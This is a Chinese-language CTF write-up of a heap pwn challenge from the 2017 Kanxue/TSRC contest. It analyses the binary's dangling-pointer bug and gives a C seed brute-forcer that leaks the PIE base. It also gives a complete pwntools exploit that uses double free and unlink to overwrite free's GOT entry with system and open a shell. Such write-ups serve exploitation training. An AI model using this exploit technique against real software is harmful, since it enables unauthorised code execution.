首页
社区
课程
招聘
[原创]看雪.TSRC 2017CTF秋季赛第四题WP
2017-10-31 12:25 3395

[原创]看雪.TSRC 2017CTF秋季赛第四题WP

2017-10-31 12:25
3395

看雪.TSRC 2017CTF秋季赛第四题WP

这是此次比赛的第一个PWN题型。打开看了下,竟然似曾相识的感觉。下面先简单说下程序功能。

程序功能分析

程序主功能流程在偏移为121A的函数中:

int sub_121A()
{
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  *(_QWORD *)&seed = &seed;
  srand((unsigned __int64)&seed);
  while ( 1 )
  {
    menu_A9F();
    printf("> ");
    inputnum_AFA();
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        getbox_C29();
        break;
      case 2u:
        destroybox_DDB();
        break;
      case 3u:
        leavemessage_EDC();
        break;
      case 4u:
        showmessage_103B();
        break;
      case 5u:
        randnum_1115();
        break;
      case 6u:
        return name_exit_1194();
      default:
        puts("It's not a operation!");
        break;
    }
  }
}

先以seed变量地址为种子初始化随机数,然后进入循环体通过switch表进行功能选择及操作。功能函数有6个,功能分别为:

  • getbox--申请堆
  • destroybox--释放堆
  • leavemessage--堆内写数据
  • showmessage--堆内读数据
  • randnum--验证随机数
  • name_exit--退出程序

大致看下就知道应该是堆方面的漏洞利用了。一共可以申请管理5个堆,编号1-5。与堆有关的全局变量(常量)共有4个,分别是:

  • 堆地址,记作box_addr[]
  • 堆尺寸,记作box_size[]
  • 堆使用标记,记作box_flag[]
  • 堆可释放标记记作destroy_flag[]

功能函数不详细说了,只说主要点。
getbox申请堆时,先检查box_flag[i],未使用过才可申请。然后会根据前后已申请堆的大小来检查当前输入尺寸,检查原则是前小后大且差值不小于16字节。申请成功后,box_flag[i]置位,当前堆大小写入box_size[i],堆地址写入box_addr[i],在释放时该堆时,box_flag[i]box_size[i]
box_addr[i]保持不变。
destroybox释放堆时,会检查box_flag[]和堆可释放标记destroy_flag[i],结合此常量值,可释放的堆编号只有2,3,5。并且堆释放后,并不对上面说的与堆相关的全局变量作清除工作。致使box_addr[i]成悬空指针,
leavemessageshowmessage就是向堆中写数据和读数据了,写的时候会检查当前堆的尺寸,读是直接puts
randnum是猜测程序的下一个随机数,如果猜对则打印出seed值,实际上就是其地址。

漏洞分析及利用思路

通过上面的程序功能说明,已然发现可以利用double free方法,关于此方法可参看我的另一篇WP

 

申请编号为2,3的堆,释放;再申请编号为4的堆,尺寸为2,3之和;向4号堆写数据,构造两个free状态的chunk;释放3号堆,造成double free,触发unlink,修改box_addr[3]数值;申请1号堆,并通过堆写数据修改box_addr[3]数据为free函数的got.plt地址,即box_addr[1]指向got.plt;通过showmessage泄露libc函数地址;通过堆写数据修改box_addr[1]数据为system函数地址;修改3号堆数据为/bin/sh并释放,getshell。

 

以上思路看似不错。但是当打开虚拟机,checksec一下会发现,PIE开启,box_addr地址不知,那就不能构造free状态的假chunk,一切成为空谈。这就说明还是按步就班的好。

 

仔细想想,程序中有一个功能函数可以泄露程序的基址,那就是看上去不起眼的猜随机数的功能函数,猜对随机数就能得到seed地址,那一切又水到渠成了。

 

我们知道这个随机数是伪随机数,只要知道种子,就能知道随机数的出现序列。此程序的随机种子实际上是seed地址的低4字节。seed偏移一定,程序基址4K对齐,那后12bit是已知的。那可以通过程序的第一个随机数暴出种子,得到下一个随机数,再通过程序功能得到seed的完整地址。

 

在实现上,exp脚本先读取程序的第一个随机数,调用暴破用的C程序,得到下一个随机数提交给程序获得程序基址,再进行堆漏洞的利用。

 

代码如下:

#include <stdio.h>

int main(int argc,char *argv[])
{
    int num,i;
    if (argc == 2)
        num = atoi(argv[1]);
    else
    {
        printf("wrong!!");
        return 1;
    }   

    printf("rand1:%d\n",num);
    for (i = 0x148; i < 0xfffff000;i=i+0x1000)
    {
        srand(i);
        int n = rand();
        if (num == n)
        {
            printf("rand2:%d\n",rand()); 
            printf("addr:%x\n",i); 
        }
    }


}
#!/usr/bin/env python
#Author:poyoten @ Chamd5

from pwn import *
import sys,os,re

context.arch = 'amd64'
libc = ELF('./libc.so.6')
if len(sys.argv) < 2:
    p = process('./club')   
    context.log_level = 'debug'

else:   
    p = remote(sys.argv[1], int(sys.argv[2]))


def create(index,size):
    p.recvuntil('exit\n> ')
    p.sendline('1')
    p.recvuntil('huge\n> ')
    p.sendline(str(index))
    p.recvuntil('> ')
    p.sendline(str(size))

def leavemess(index,content):
    p.recvuntil('exit\n> ')
    p.sendline('3')
    p.recvuntil('huge\n> ')
    p.sendline(str(index))  
    p.sendline(content)

def showmess(index):
    p.recvuntil('exit\n> ')
    p.sendline('4')
    p.recvuntil('huge\n> ')
    p.sendline(str(index))

def randnum(snum = '1'):
    p.recvuntil('exit\n>')
    p.sendline('5')
    p.recvuntil('guess:\n>')
    p.sendline(snum)
    s =  p.recvuntil('!\nYou')
    return re.findall('\W(\d+)!',s)[0]

def delete(index):
    p.recvuntil('exit\n> ')
    p.sendline('2')
    p.recvuntil('huge\n> ')
    p.sendline(str(index))

def exp(): 

    create(1,0x30)
    rand1 = randnum()
    rlog = os.popen('./a.out '+rand1).read()
    rand2 = re.findall('rand2:(\d+)\n',rlog)[0]
    seed_addr = int(randnum(rand2))
    #breakaddr = seed_addr-0x202148+0x1260
    #gdb.attach(p,'b *'+hex(breakaddr))

    #raw_input('begin?')   
    system_off = libc.symbols['system'] #0x45390
    free_off = libc.symbols['free']
    got_addr = seed_addr-0x202148+0x202018
    p_addr = seed_addr-0x202148+0x202110


    log.info('got_addr:'+hex(got_addr))
    log.info('gen point to control...')
    #raw_input('create2?')   
    create(2,0x100)
    #raw_input('create3?')   
    create(3,0x110)
    #raw_input('delete2?')   
    delete(2)
    #raw_input('delete3?')   
    delete(3)
    payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-0x20)+p64(0x100)+p64(0x220-0x100)
    #raw_input('create4?')   
    create(4,0x220)
    #raw_input('message4?') 
    leavemess(4,payload)
    #raw_input('delete3?') 
    delete(3)

    log.info('leaking address...')
    #raw_input('leak?') 
    leavemess(2,p64(1)+p64(1)+p64(got_addr))
    showmess(1)
    free_addr = p.recv(6)

    #raw_input('already show?')


    system_addr = u64(free_addr+'\x00'*2)-free_off+system_off
    log.info('system address:'+hex(system_addr))

    log.info('get shell!!!')
    leavemess(1,p64(system_addr))
    leavemess(3,'/bin/sh')
    delete(3)   
    p.interactive()
if __name__ == '__main__':
    exp()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回